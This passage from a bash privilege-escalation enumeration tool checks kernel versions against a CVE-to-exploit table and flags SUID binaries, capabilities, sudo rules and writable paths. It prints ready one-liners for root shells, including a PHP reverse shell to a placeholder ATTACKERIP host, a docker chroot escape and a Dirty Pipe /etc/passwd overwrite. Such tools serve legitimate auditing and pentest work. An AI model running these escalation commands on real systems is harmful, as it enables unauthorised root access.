# Run all Docker/container environment checks 292 | detect_container 293 | check_docker_group 294 | check_container_escape_vectors 295 | check_exposed_docker_api 296 | check_docker_configuration 297 | 298 | # Wait for user if wait mode is enabled 299 | wait_for_user 300 | } -------------------------------------------------------------------------------- /modules/exploit_checks/kernel_exploits.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Title: Kernel Exploit Checker 4 | # Description: Check for known kernel vulnerabilities and provide exploitation guidance 5 | # Author: Jonas Resch 6 | 7 | # Define kernel exploit database with CVE, affected versions, exploit URL and details 8 | declare -A KERNEL_EXPLOITS 9 | KERNEL_EXPLOITS["CVE-2021-4034"]="5.0.0,5.15.0,pkexec Local Privilege Escalation,https://github.com/arthepsy/CVE-2021-4034,High impact polkit vulnerability allowing any unprivileged user to gain root privileges" 10 | KERNEL_EXPLOITS["CVE-2021-3156"]="3.0.0,5.11.0,Sudo Baron Samedit,https://github.com/worawit/CVE-2021-3156,Heap-based buffer overflow in sudo allowing any unprivileged user to gain root privileges" 11 | KERNEL_EXPLOITS["CVE-2021-3560"]="3.0.0,5.13.0,polkit Authentication Bypass,https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation,Race condition in polkit allowing local privilege escalation" 12 | KERNEL_EXPLOITS["CVE-2021-22555"]="2.6.19,5.13.0,Netfilter Heap Out-of-Bounds Write,https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html,Critical vulnerability in Linux Netfilter" 13 | KERNEL_EXPLOITS["CVE-2022-0847"]="5.8.0,5.16.11,Dirty Pipe,https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit,Overwriting data in read-only files" 14 | KERNEL_EXPLOITS["CVE-2022-2586"]="5.5.0,5.18.14,nft_object Use-After-Free,https://www.exploit-db.com/exploits/50896,Kernel privilege escalation via Netfilter" 15 | KERNEL_EXPLOITS["CVE-2022-2588"]="5.5.0,5.18.14,nft_object Double-Free,https://www.openwall.com/lists/oss-security/2022/08/29/5,Kernel privilege escalation via Netfilter" 16 | KERNEL_EXPLOITS["CVE-2019-13272"]="4.10.0,5.1.17,PTRACE_TRACEME,https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272,Local privilege escalation in Linux kernel" 17 | KERNEL_EXPLOITS["CVE-2019-18634"]="1.8.2,1.8.31,Sudo pwfeedback Buffer Overflow,https://github.com/saleemrashid/sudo-cve-2019-18634,Buffer overflow in sudo's pwfeedback option" 18 | KERNEL_EXPLOITS["CVE-2019-15666"]="<5.0.21,USB gadget,https://github.com/wapiflapi/expl/tree/master/cve-2019-15666,A vulnerability in usbfs" 19 | KERNEL_EXPLOITS["CVE-2019-5736"]="N/A,N/A,runc container escape,https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/,Container escape affecting Docker/Kubernetes" 20 | KERNEL_EXPLOITS["CVE-2017-16995"]="4.4.0,4.14.8,get_user/put_user,https://www.exploit-db.com/exploits/45010,eBPF verifier vulnerability" 21 | KERNEL_EXPLOITS["CVE-2017-1000112"]="4.4.0,4.13.1,stack clash,https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112,Race condition with AF_PACKET sockets" 22 | KERNEL_EXPLOITS["CVE-2023-0179"]="Versions before February 2023 fixed patch,netfilter,https://www.openwall.org/lists/oss-security/2023/01/26/7,A vulnerability in the netfilter subsystem" 23 | KERNEL_EXPLOITS["CVE-2023-0386"]="<6.2,overlayfs,https://github.com/xkaneiki/CVE-2023-0386,Linux kernel privilege escalation" 24 | KERNEL_EXPLOITS["CVE-2023-22809"]="1.9.0,1.9.12p1,Sudo bypass,https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc,Sudo bypass vulnerability" 25 | KERNEL_EXPLOITS["CVE-2023-4911"]="5.1,6.4,Looney Tunables,https://www.hackthebox.com/blog/CVE-2023-4911-Looney-tunables,Vulnerability in the glibc library" 26 | KERNEL_EXPLOITS["CVE-2023-6546"]="Various,Various,gameport read/write ioctl,https://starlabs.sg/advisories/23/23-6546/,Local escalation through gameport module" 27 | 28 | # Function to check the system's kernel version and compare with exploits 29 | check_kernel_exploits() { 30 | print_subtitle "Kernel Exploit Detection" 31 | 32 | # Get kernel version 33 | kernel_version=$(uname -r) 34 | print_info "Current kernel version: $kernel_version" 35 | 36 | # Check if the kernel version is in a format we can parse 37 | if ! echo "$kernel_version" | grep -qE '^[0-9]+\.[0-9]+\.[0-9]+'; then 38 | print_warning "Unusual kernel version format, exploit detection might be less accurate" 39 | fi 40 | 41 | # Extract major, minor and patch version 42 | kernel_major=$(echo "$kernel_version" | cut -d. -f1) 43 | kernel_minor=$(echo "$kernel_version" | cut -d. -f2) 44 | kernel_patch=$(echo "$kernel_version" | cut -d. -f3 | cut -d- -f1) 45 | 46 | # Convert to comparable format 47 | kernel_num=$((kernel_major * 10000 + kernel_minor * 100 + kernel_patch)) 48 | 49 | # Counter for found exploits 50 | found_exploits=0 51 | 52 | # Check each exploit 53 | print_info "Checking for known kernel vulnerabilities..." 54 | 55 | for cve in "${!KERNEL_EXPLOITS[@]}"; do 56 | # Split the exploit data 57 | IFS=',' read -r min_version max_version name exploit_url description <<< "${KERNEL_EXPLOITS[$cve]}" 58 | 59 | # Skip if not applicable to standard kernels 60 | if [[ "$min_version" == "N/A" ]]; then 61 | # Special case for container-specific exploits 62 | if [[ "$cve" == "CVE-2019-5736" ]] && ( [ -f /.dockerenv ] || grep -q "docker\|lxc" /proc/1/cgroup 2>/dev/null ); then 63 | print_critical "${RED}[!] $cve - $name${NC} (Container Escape)" 64 | print_critical " ${RED}→ Affects: Docker/Kubernetes containers${NC}" 65 | print_critical " ${RED}→ Description: $description${NC}" 66 | print_critical " ${RED}→ Exploit: $exploit_url${NC}" 67 | found_exploits=$((found_exploits + 1)) 68 | fi 69 | continue 70 | fi 71 | 72 | # Parse min version 73 | min_major=$(echo "$min_version" | cut -d. -f1) 74 | min_minor=$(echo "$min_version" | cut -d. -f2) 75 | min_patch=$(echo "$min_version" | cut -d. -f3) 76 | min_num=$((min_major * 10000 + min_minor * 100 + min_patch)) 77 | 78 | # Parse max version 79 | max_major=$(echo "$max_version" | cut -d. -f1) 80 | max_minor=$(echo "$max_version" | cut -d. -f2) 81 | max_patch=$(echo "$max_version" | cut -d. -f3) 82 | max_num=$((max_major * 10000 + max_minor * 100 + max_patch)) 83 | 84 | # Check if kernel version is in vulnerable range 85 | if [ "$kernel_num" -ge "$min_num" ] && [ "$kernel_num" -le "$max_num" ]; then 86 | # Confirm by checking additional conditions 87 | 88 | # Check for Dirty Pipe specific conditions 89 | if [[ "$cve" == "CVE-2022-0847" ]]; then 90 | # Extra check for specific kernel configs 91 | if grep -q "CONFIG_PIPE=y" /boot/config-$(uname -r) 2>/dev/null; then 92 | print_critical "${RED}[!] $cve - $name${NC} (High Probability)" 93 | print_critical " ${RED}→ Affects: Linux kernel $min_version-$max_version${NC}" 94 | print_critical " ${RED}→ Description: $description${NC}" 95 | print_critical " ${RED}→ Exploit: $exploit_url${NC}" 96 | print_critical " ${RED}→ POC Command: echo 'Dirty Pipe Test' | ./cve-2022-0847 /etc/passwd 1${NC}" 97 | found_exploits=$((found_exploits + 1)) 98 | else 99 | print_warning "${YELLOW}[!] $cve - $name${NC} (Needs Verification)" 100 | print_warning " ${YELLOW}→ Affects: Linux kernel $min_version-$max_version${NC}" 101 | print_warning " ${YELLOW}→ Description: $description${NC}" 102 | print_warning " ${YELLOW}→ Need to verify CONFIG_PIPE is enabled${NC}" 103 | fi 104 | continue 105 | fi 106 | 107 | # Check for Polkit specific conditions 108 | if [[ "$cve" == "CVE-2021-4034" ]] || [[ "$cve" == "CVE-2021-3560" ]]; then 109 | if command_exists pkexec || [ -f "/usr/bin/pkexec" ]; then 110 | pkexec_version=$(pkexec --version 2>/dev/null | head -n1) 111 | print_critical "${RED}[!] $cve - $name${NC} (High Probability)" 112 | print_critical " ${RED}→ Affects: Polkit (pkexec: $pkexec_version)${NC}" 113 | print_critical " ${RED}→ Description: $description${NC}" 114 | print_critical " ${RED}→ Exploit: $exploit_url${NC}" 115 | found_exploits=$((found_exploits + 1)) 116 | else 117 | print_warning "${YELLOW}[!] $cve - $name${NC} (May Not Apply)" 118 | print_warning " ${YELLOW}→ pkexec not found, vulnerability may not apply${NC}" 119 | fi 120 | continue 121 | fi 122 | 123 | # Check for Sudo specific vulnerabilities 124 | if [[ "$cve" == "CVE-2021-3156" ]] || [[ "$cve" == "CVE-2019-18634" ]] || [[ "$cve" == "CVE-2023-22809" ]]; then 125 | if command_exists sudo; then 126 | sudo_version=$(sudo -V 2>/dev/null | head -n1 | awk '{print $3}') 127 | 128 | if [[ "$cve" == "CVE-2021-3156" ]] && [[ "$sudo_version" < "1.9.5p2" ]]; then 129 | print_critical "${RED}[!] $cve - $name${NC} (Confirmed)" 130 | print_critical " ${RED}→ Affects: sudo versions before 1.9.5p2 (found: $sudo_version)${NC}" 131 | print_critical " ${RED}→ Description: $description${NC}" 132 | print_critical " ${RED}→ Exploit: $exploit_url${NC}" 133 | found_exploits=$((found_exploits + 1)) 134 | elif [[ "$cve" == "CVE-2019-18634" ]] && [[ "$sudo_version" < "1.8.31" ]]; then 135 | # Check if pwfeedback is enabled 136 | if grep -q "pwfeedback" /etc/sudoers 2>/dev/null; then 137 | print_critical "${RED}[!] $cve - $name${NC} (Confirmed)" 138 | print_critical " ${RED}→ Affects: sudo versions before 1.8.31 with pwfeedback enabled${NC}" 139 | print_critical " ${RED}→ Description: $description${NC}" 140 | print_critical " ${RED}→ Exploit: $exploit_url${NC}" 141 | found_exploits=$((found_exploits + 1)) 142 | else 143 | print_warning "${YELLOW}[!] $cve - $name${NC} (Vulnerable version but pwfeedback not enabled)" 144 | fi 145 | elif [[ "$cve" == "CVE-2023-22809" ]] && [[ "$sudo_version" < "1.9.12p1" ]]; then 146 | print_critical "${RED}[!] $cve - $name${NC} (Potential)" 147 | print_critical " ${RED}→ Affects: sudo versions before 1.9.12p1 (found: $sudo_version)${NC}" 148 | print_critical " ${RED}→ Description: $description${NC}" 149 | print_critical " ${RED}→ Exploit: $exploit_url${NC}" 150 | found_exploits=$((found_exploits + 1)) 151 | fi 152 | fi 153 | continue 154 | fi 155 | 156 | # Default case - just report the vulnerability 157 | print_warning "${YELLOW}[!] $cve - $name${NC} (Potential)" 158 | print_warning " ${YELLOW}→ Affects: Linux kernel $min_version-$max_version${NC}" 159 | print_warning " ${YELLOW}→ Description: $description${NC}" 160 | print_warning " ${YELLOW}→ Exploit: $exploit_url${NC}" 161 | found_exploits=$((found_exploits + 1)) 162 | fi 163 | done 164 | 165 | # Check for presence of exploit mitigation features 166 | print_info "Checking for kernel hardening features..." 167 | 168 | # Check for SMEP (Supervisor Mode Execution Prevention) 169 | smep_enabled=$(grep -i "smep" /proc/cpuinfo 2>/dev/null) 170 | if [ -n "$smep_enabled" ]; then 171 | print_success "SMEP (Supervisor Mode Execution Prevention) is enabled" 172 | else 173 | print_warning "SMEP doesn't appear to be enabled - kernel exploits may be easier" 174 | fi 175 | 176 | # Check for SMAP (Supervisor Mode Access Prevention) 177 | smap_enabled=$(grep -i "smap" /proc/cpuinfo 2>/dev/null) 178 | if [ -n "$smap_enabled" ]; then 179 | print_success "SMAP (Supervisor Mode Access Prevention) is enabled" 180 | else 181 | print_warning "SMAP doesn't appear to be enabled - kernel exploits may be easier" 182 | fi 183 | 184 | # Check for KAISER/KPTI (Kernel Page Table Isolation) 185 | kpti_enabled=$(grep -i "pti" /proc/cpuinfo 2>/dev/null) 186 | if [ -n "$kpti_enabled" ]; then 187 | print_success "KPTI (Kernel Page Table Isolation) is enabled" 188 | else 189 | print_warning "KPTI doesn't appear to be enabled - Meltdown attacks may be possible" 190 | fi 191 | 192 | # Report summary 193 | if [ "$found_exploits" -gt 0 ]; then 194 | print_critical "Found $found_exploits potential kernel vulnerabilities!" 195 | else 196 | print_success "No known kernel vulnerabilities detected." 197 | fi 198 | } 199 | 200 | # Add Linux Exploit Suggester integration 201 | run_linux_exploit_suggester() { 202 | print_subtitle "Linux Exploit Suggester" 203 | 204 | print_info "Running Linux Exploit Suggester for comprehensive checks..." 205 | 206 | # Create temp directory 207 | temp_dir=$(create_temp_dir) 208 | 209 | # Try to download and run Linux Exploit Suggester 210 | if command_exists curl || command_exists wget; then 211 | les_url="https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh" 212 | 213 | if command_exists curl; then 214 | curl -s "$les_url" -o "$temp_dir/les.sh" 2>/dev/null 215 | else 216 | wget -q "$les_url" -O "$temp_dir/les.sh" 2>/dev/null 217 | fi 218 | 219 | if [ -f "$temp_dir/les.sh" ]; then 220 | chmod +x "$temp_dir/les.sh" 221 | print_info "Running Linux Exploit Suggester..." 222 | les_output=$("$temp_dir/les.sh" 2>/dev/null) 223 | 224 | # Extract and highlight CVEs 225 | if [ -n "$les_output" ]; then 226 | echo "$les_output" | grep -E "CVE-[0-9]+-[0-9]+" | grep -i "kernel" | sed -e "s/\(CVE-[0-9]\+-[0-9]\+\)/${RED}\1${NC}/g" 227 | else 228 | print_warning "Linux Exploit Suggester didn't return any results" 229 | fi 230 | else 231 | print_warning "Failed to download Linux Exploit Suggester" 232 | fi 233 | 234 | # Clean up 235 | rm -rf "$temp_dir" 236 | else 237 | print_warning "curl or wget is required to download Linux Exploit Suggester" 238 | fi 239 | } 240 | 241 | # Run integration with additional exploit detectors 242 | run_additional_exploit_checks() { 243 | print_subtitle "Additional Kernel Checks" 244 | 245 | # Check for Dirty COW (CVE-2016-5195) 246 | if [ "$kernel_major" -eq 2 ] || ( [ "$kernel_major" -eq 3 ] && [ "$kernel_minor" -lt 19 ] ) || \ 247 | ( [ "$kernel_major" -eq 4 ] && [ "$kernel_minor" -lt 9 ] ); then 248 | print_critical "${RED}[!] System is vulnerable to Dirty COW (CVE-2016-5195)!${NC}" 249 | print_critical " ${RED}→ Affects: Linux kernel versions before 3.19.0 and 4.9.0${NC}" 250 | print_critical " ${RED}→ Description: Race condition in mm/gup.c allowing local privilege escalation${NC}" 251 | print_critical " ${RED}→ Exploit: https://github.com/firefart/dirtycow${NC}" 252 | fi 253 | 254 | # Check for BlueZ vulnerability (CVE-2021-3573) 255 | if command_exists bluetoothd; then 256 | bluez_version=$(bluetoothd -v 2>/dev/null) 257 | if [ -n "$bluez_version" ]; then 258 | if [[ "$bluez_version" < "5.63" ]]; then 259 | print_warning "${YELLOW}[!] BlueZ version $bluez_version may be vulnerable to CVE-2021-3573${NC}" 260 | print_warning " ${YELLOW}→ Affects: BlueZ before 5.63${NC}" 261 | print_warning " ${YELLOW}→ Description: NULL pointer dereference in the AVDTP implementation${NC}" 262 | fi 263 | fi 264 | fi 265 | 266 | # Check for eBPF vulnerabilities 267 | if [ -d "/sys/fs/bpf" ] || [ -d "/proc/sys/net/core/bpf_jit_enable" ]; then 268 | bpf_jit_enabled=$(cat /proc/sys/net/core/bpf_jit_enable 2>/dev/null) 269 | if [ "$bpf_jit_enabled" = "1" ]; then 270 | print_warning "${YELLOW}[!] BPF JIT compiler is enabled, this can be used for exploits${NC}" 271 | print_warning " ${YELLOW}→ Check for CVE-2020-8835, CVE-2020-27194, and others${NC}" 272 | else 273 | print_success "BPF JIT compiler is disabled" 274 | fi 275 | fi 276 | } 277 | 278 | # Main function to run all kernel exploit checks 279 | kernel_exploit_checks() { 280 | print_title "Kernel Vulnerabilities" 281 | 282 | # Run primary kernel exploit check 283 | check_kernel_exploits 284 | 285 | # Run Linux Exploit Suggester if in thorough mode 286 | if [ "$THOROUGH" ]; then 287 | run_linux_exploit_suggester 288 | fi 289 | 290 | # Run additional specialized exploit checks 291 | run_additional_exploit_checks 292 | 293 | # Wait for user if wait mode is enabled 294 | wait_for_user 295 | } -------------------------------------------------------------------------------- /modules/exploit_checks/suid_sgid.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Title: SUID/SGID and Capabilities Checker 4 | # Description: Check for exploitable SUID/SGID binaries and capabilities 5 | # Author: Jonas Resch 6 | 7 | # Known SUID/SGID binaries that can be used for privilege escalation 8 | declare -A SUID_BINS 9 | SUID_BINS["/usr/bin/sudo"]="Execute commands as root with proper permissions" 10 | SUID_BINS["/usr/bin/pkexec"]="Execute commands as another user with policykit" 11 | SUID_BINS["/usr/bin/dbus-daemon-launch-helper"]="Helps to launch dbus services" 12 | SUID_BINS["/usr/lib/openssh/ssh-keysign"]="Used by ssh for host-based authentication" 13 | SUID_BINS["/usr/lib/dbus-1.0/dbus-daemon-launch-helper"]="Helps to launch dbus services" 14 | SUID_BINS["/usr/lib/eject/dmcrypt-get-device"]="Used by cryptsetup for device mapping" 15 | SUID_BINS["/usr/lib/policykit-1/polkit-agent-helper-1"]="policykit helper for authentication" 16 | SUID_BINS["/usr/lib/xorg/Xorg.wrap"]="X server wrapper" 17 | SUID_BINS["/usr/sbin/pppd"]="Point-to-Point Protocol daemon" 18 | SUID_BINS["/usr/sbin/exim4"]="Mail Transfer Agent" 19 | SUID_BINS["/sbin/mount.nfs"]="Used to mount NFS file systems" 20 | SUID_BINS["/bin/mount"]="Mount file systems" 21 | SUID_BINS["/bin/umount"]="Unmount file systems" 22 | SUID_BINS["/bin/su"]="Switch user" 23 | SUID_BINS["/bin/ping"]="Send ICMP ECHO_REQUEST packets to network hosts" 24 | 25 | # Exploitable SUID binaries 26 | declare -A EXPLOITABLE_BINS 27 | EXPLOITABLE_BINS["/usr/bin/nmap"]="--interactive -> !sh" 28 | EXPLOITABLE_BINS["/usr/bin/vim"]="vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" 29 | EXPLOITABLE_BINS["/usr/bin/find"]="find . -exec /bin/sh -p \\; -quit" 30 | EXPLOITABLE_BINS["/usr/bin/nano"]="Can write to sensitive files" 31 | EXPLOITABLE_BINS["/usr/bin/python"]="python -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'" 32 | EXPLOITABLE_BINS["/usr/bin/perl"]="perl -e 'exec \"/bin/sh\";'" 33 | EXPLOITABLE_BINS["/usr/bin/ruby"]="ruby -e 'exec \"/bin/sh\"'" 34 | EXPLOITABLE_BINS["/usr/bin/php"]="php -r '\\$sock=fsockopen(\"ATTACKERIP\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" 35 | EXPLOITABLE_BINS["/usr/bin/less"]="less /etc/profile then !/bin/sh" 36 | EXPLOITABLE_BINS["/usr/bin/more"]="more /etc/profile then !/bin/sh" 37 | EXPLOITABLE_BINS["/usr/bin/man"]="man man then !/bin/sh" 38 | EXPLOITABLE_BINS["/usr/bin/awk"]="awk 'BEGIN {system(\"/bin/sh\")}'" 39 | EXPLOITABLE_BINS["/usr/bin/bash"]="bash -p" 40 | EXPLOITABLE_BINS["/usr/bin/cp"]="Can copy over sensitive files" 41 | EXPLOITABLE_BINS["/usr/bin/mv"]="Can move over sensitive files" 42 | EXPLOITABLE_BINS["/usr/bin/chmod"]="Can change permissions of sensitive files" 43 | EXPLOITABLE_BINS["/usr/bin/chown"]="Can change ownership of sensitive files" 44 | 45 | check_suid_binaries() { 46 | print_subtitle "SUID/SGID Binaries" 47 | 48 | # Find SUID binaries 49 | print_info "Looking for SUID binaries (might take a while)..." 50 | 51 | # Optimized find command that skips irrelevant directories 52 | suid_bins=$(find / -path /proc -prune -o \ 53 | -path /sys -prune -o \ 54 | -path /run -prune -o \ 55 | -path /snap -prune -o \ 56 | -path /var/lib/docker -prune -o \ 57 | -path /var/lib/lxc -prune -o \ 58 | -path /mnt -prune -o \ 59 | -path /media -prune -o \ 60 | -path /dev -prune -o \ 61 | -type f \( -perm -4000 -o -perm -2000 \) -print 2>/dev/null) 62 | 63 | if [ -n "$suid_bins" ]; then 64 | print_success "Found $(echo "$suid_bins" | wc -l) SUID/SGID binaries:" 65 | 66 | echo "$suid_bins" | while read -r binary; do 67 | owner=$(ls -la "$binary" 2>/dev/null | awk '{print $3}') 68 | perms=$(ls -la "$binary" 2>/dev/null | awk '{print $1}') 69 | 70 | # Safer way to check array keys 71 | is_exploitable=0 72 | is_known=0 73 | exploitable_info="" 74 | known_info="" 75 | 76 | # Check each key in the exploitable bins array 77 | for key in "${!EXPLOITABLE_BINS[@]}"; do 78 | if [ "$key" = "$binary" ]; then 79 | is_exploitable=1 80 | exploitable_info="${EXPLOITABLE_BINS[$key]}" 81 | break 82 | fi 83 | done 84 | 85 | # Check each key in the known SUID bins array 86 | for key in "${!SUID_BINS[@]}"; do 87 | if [ "$key" = "$binary" ]; then 88 | is_known=1 89 | known_info="${SUID_BINS[$key]}" 90 | break 91 | fi 92 | done 93 | 94 | # Now safely display the information 95 | if [ "$is_exploitable" -eq 1 ]; then 96 | print_critical " ${RED}${binary}${NC} [${perms}] [Owner: ${owner}]" 97 | print_critical " ${RED}→ Exploitable:${NC} ${exploitable_info}" 98 | elif [ "$is_known" -eq 1 ]; then 99 | print_warning " ${YELLOW}${binary}${NC} [${perms}] [Owner: ${owner}]" 100 | print_warning " ${YELLOW}→ Purpose:${NC} ${known_info}" 101 | else 102 | print_success " ${binary} [${perms}] [Owner: ${owner}]" 103 | fi 104 | 105 | # Check if it's a shell script (which shouldn't have SUID bit) 106 | if [ -f "$binary" ] && file "$binary" 2>/dev/null | grep -q "shell script"; then 107 | print_critical " ${RED}→ This is a shell script! Very uncommon and likely vulnerable!${NC}" 108 | fi 109 | 110 | # Check if it's world-writable (which is very dangerous) 111 | if [ -f "$binary" ] && [ -w "$binary" ]; then 112 | print_critical " ${RED}→ This binary is world-writable! Extremely dangerous!${NC}" 113 | fi 114 | done 115 | else 116 | print_warning "No SUID/SGID binaries found (strange, there should be at least some standard ones)" 117 | fi 118 | } 119 | 120 | check_custom_privesc_vectors() { 121 | print_subtitle "Custom Privesc Vectors" 122 | 123 | # Check for SUDO commands that can be used for privilege escalation 124 | print_info "Checking for custom privesc vectors..." 125 | 126 | # Check for common shells 127 | shell_list=("bash" "sh" "dash" "zsh" "csh" "ksh" "tcsh" "fish") 128 | print_info "Shell access as other users:" 129 | 130 | for shell in "${shell_list[@]}"; do 131 | # Check if we can sudo as this shell 132 | if [ -n "$PASSWORD" ]; then 133 | # Use password with sudo 134 | if echo "$PASSWORD" | sudo -S -l 2>/dev/null | grep -q "bin/$shell"; then 135 | print_critical " ${RED}You can sudo run $shell!${NC} Try: sudo $shell" 136 | fi 137 | else 138 | # Try without password (non-interactive) 139 | if sudo -n -l 2>/dev/null | grep -q "bin/$shell"; then 140 | print_critical " ${RED}You can sudo run $shell!${NC} Try: sudo $shell" 141 | fi 142 | fi 143 | 144 | # Check for shell SUID 145 | shell_path=$(which "$shell" 2>/dev/null) 146 | if [ -n "$shell_path" ] && [ -u "$shell_path" ]; then 147 | print_critical " ${RED}$shell_path has SUID bit set!${NC} Try: $shell_path -p" 148 | fi 149 | done 150 | 151 | # Check for dangerous sudoers entries 152 | print_info "Dangerous sudoers rules:" 153 | 154 | # Get sudo permissions 155 | if [ -n "$PASSWORD" ]; then 156 | sudo_commands=$(echo "$PASSWORD" | sudo -S -l 2>/dev/null) 157 | else 158 | sudo_commands=$(sudo -n -l 2>/dev/null) 159 | fi 160 | 161 | if [ -n "$sudo_commands" ]; then 162 | dangerous_cmds=("cp" "mv" "cat" "find" "vim" "vi" "emacs" "nano" "python" "perl" "ruby" "php" "awk" "sed" "echo" "less" "more" "man" "nc" "ncat" "netcat" "tee" "dd" "wget" "curl") 163 | 164 | for cmd in "${dangerous_cmds[@]}"; do 165 | if echo "$sudo_commands" | grep -i "bin/$cmd" | grep -v "NOEXEC"; then 166 | print_critical " ${RED}You can run $cmd as sudo!${NC} Check GTFOBins for exploitation: https://gtfobins.github.io/" 167 | fi 168 | done 169 | 170 | # Check for ALL commands 171 | if echo "$sudo_commands" | grep -q "(ALL)" | grep -v "NOEXEC"; then 172 | print_critical " ${RED}You can run ALL commands!${NC} Exploit: sudo su" 173 | fi 174 | 175 | # Check for sudoedit (can edit sensitive files) 176 | if echo "$sudo_commands" | grep -q "sudoedit"; then 177 | print_critical " ${RED}You can use sudoedit!${NC} Try editing sensitive files like /etc/passwd or /etc/sudoers" 178 | fi 179 | fi 180 | 181 | # Check for docker group membership (instant root) 182 | if id -nG 2>/dev/null | grep -qw "docker"; then 183 | print_critical " ${RED}You are in the docker group!${NC} Try: docker run -v /:/mnt -it ubuntu chroot /mnt bash" 184 | fi 185 | 186 | # Check for lxd/lxc group membership (instant root) 187 | if id -nG 2>/dev/null | grep -qw "lxd\|lxc"; then 188 | print_critical " ${RED}You are in the lxd/lxc group!${NC} This can be exploited for root access." 189 | fi 190 | } 191 | 192 | check_capabilities() { 193 | print_subtitle "Linux Capabilities" 194 | 195 | # Check for binaries with capabilities 196 | print_info "Looking for binaries with capabilities..." 197 | 198 | if command_exists getcap; then 199 | # Optimized getcap command that skips irrelevant directories 200 | caps=$(getcap -r / 2>/dev/null | grep -v -E "/snap/|/proc/|/sys/|/run/|/var/lib/docker/|/var/lib/lxc/") 201 | 202 | if [ -n "$caps" ]; then 203 | print_success "Found binaries with capabilities:" 204 | 205 | echo "$caps" | while read -r line; do 206 | binary=$(echo "$line" | awk '{print $1}') 207 | capability=$(echo "$line" | awk '{print $2}') 208 | 209 | # Check for dangerous capabilities 210 | if echo "$capability" | grep -q "cap_setuid\|cap_setgid\|cap_sys_admin\|cap_net_admin\|cap_net_raw\|cap_sys_ptrace\|cap_sys_module"; then 211 | print_critical " ${RED}${binary}${NC} [${capability}]" 212 | 213 | # Specific capabilities exploitation guidance 214 | if echo "$capability" | grep -q "cap_setuid"; then 215 | print_critical " ${RED}→ Can be exploited to get root! Example for Python:${NC}" 216 | print_critical " ${RED}→ python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'" 217 | elif echo "$capability" | grep -q "cap_sys_admin"; then 218 | print_critical " ${RED}→ Provides full admin capabilities, can mount filesystems etc.${NC}" 219 | elif echo "$capability" | grep -q "cap_sys_ptrace"; then 220 | print_critical " ${RED}→ Can attach to any process and modify its memory${NC}" 221 | fi 222 | else 223 | print_warning " ${YELLOW}${binary}${NC} [${capability}]" 224 | fi 225 | done 226 | else 227 | print_success "No binaries with capabilities found" 228 | fi 229 | else 230 | print_warning "getcap not available, skipping capabilities check" 231 | fi 232 | 233 | # Check for potentially dangerous capabilities allowed in container 234 | if [ -f "/.dockerenv" ] || grep -qi "docker\|lxc" /proc/1/cgroup 2>/dev/null; then 235 | print_info "Checking for dangerous capabilities in container..." 236 | 237 | if [ -r /proc/self/status ]; then 238 | container_caps=$(grep "CapEff:" /proc/self/status 2>/dev/null) 239 | 240 | if [ -n "$container_caps" ]; then 241 | # Extract the hex value 242 | cap_hex=$(echo "$container_caps" | awk '{print $2}') 243 | 244 | # Convert to decimal and check specific bits for dangerous capabilities 245 | cap_dec=$(printf "%d" "0x$cap_hex" 2>/dev/null) 246 | 247 | # Check for CAP_SYS_ADMIN (bit 21) 248 | if (( (cap_dec >> 21) & 1 )); then 249 | print_critical " ${RED}Container has CAP_SYS_ADMIN capability!${NC} This can be exploited to escape." 250 | fi 251 | 252 | # Check for CAP_NET_ADMIN (bit 12) 253 | if (( (cap_dec >> 12) & 1 )); then 254 | print_warning " ${YELLOW}Container has CAP_NET_ADMIN capability!${NC} Can modify network configuration." 255 | fi 256 | fi 257 | fi 258 | fi 259 | } 260 | 261 | # Main function to run all SUID/SGID binary checks 262 | suid_sgid_checks() { 263 | print_title "SUID/SGID Binaries and Capabilities" 264 | 265 | # Run all SUID/SGID and capabilities checks 266 | check_suid_binaries 267 | check_custom_privesc_vectors 268 | check_capabilities 269 | 270 | # Wait for user if wait mode is enabled 271 | wait_for_user 272 | } -------------------------------------------------------------------------------- /modules/exploit_checks/writable_files.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Title: Writable Files Checker 4 | # Description: Check for writable files and directories that could be exploited for privilege escalation 5 | # Author: Jonas Resch 6 | 7 | # Check for writable configuration files 8 | check_writable_etc_files() { 9 | print_subtitle "Writable Files in /etc" 10 | 11 | print_info "Checking for writable files in /etc..." 12 | 13 | # Find writable files in /etc 14 | writable_etc=$(find /etc -type f -writable 2>/dev/null) 15 | 16 | if [ -n "$writable_etc" ]; then 17 | print_critical "Found writable files in /etc (potential privilege escalation):" 18 | echo "$writable_etc" | while read -r file; do 19 | owner=$(ls -la "$file" 2>/dev/null | awk '{print $3}') 20 | perms=$(ls -la "$file" 2>/dev/null | awk '{print $1}') 21 | print_critical " ${RED}${file}${NC} [${perms}] [Owner: ${owner}]" 22 | done 23 | else 24 | print_success "No writable files found in /etc" 25 | fi 26 | } 27 | 28 | # Check for writable path hijacking opportunities 29 | check_path_hijacking() { 30 | print_subtitle "PATH Hijacking" 31 | 32 | print_info "Checking for PATH hijacking opportunities..." 33 | 34 | # Get the current PATH 35 | path_dirs=$(echo "$PATH" | tr ':' '\n') 36 | 37 | # Check for writable directories in PATH 38 | writable_path_dirs=() 39 | 40 | for dir in $path_dirs; do 41 | if [ -d "$dir" ] && [ -w "$dir" ]; then 42 | writable_path_dirs+=("$dir") 43 | fi 44 | done 45 | 46 | if [ ${#writable_path_dirs[@]} -gt 0 ]; then 47 | print_critical "Found writable directories in PATH (potential for PATH hijacking):" 48 | for dir in "${writable_path_dirs[@]}"; do 49 | print_critical " ${RED}${dir}${NC}" 50 | done 51 | 52 | print_critical "PATH hijacking can be used to execute arbitrary code when a program is run" 53 | else 54 | print_success "No writable directories found in PATH" 55 | fi 56 | 57 | # Check for commonly used commands without absolute paths 58 | print_info "Checking for commands commonly used without absolute paths..." 59 | common_cmds=("ls" "cat" "find" "grep" "id" "whoami" "python" 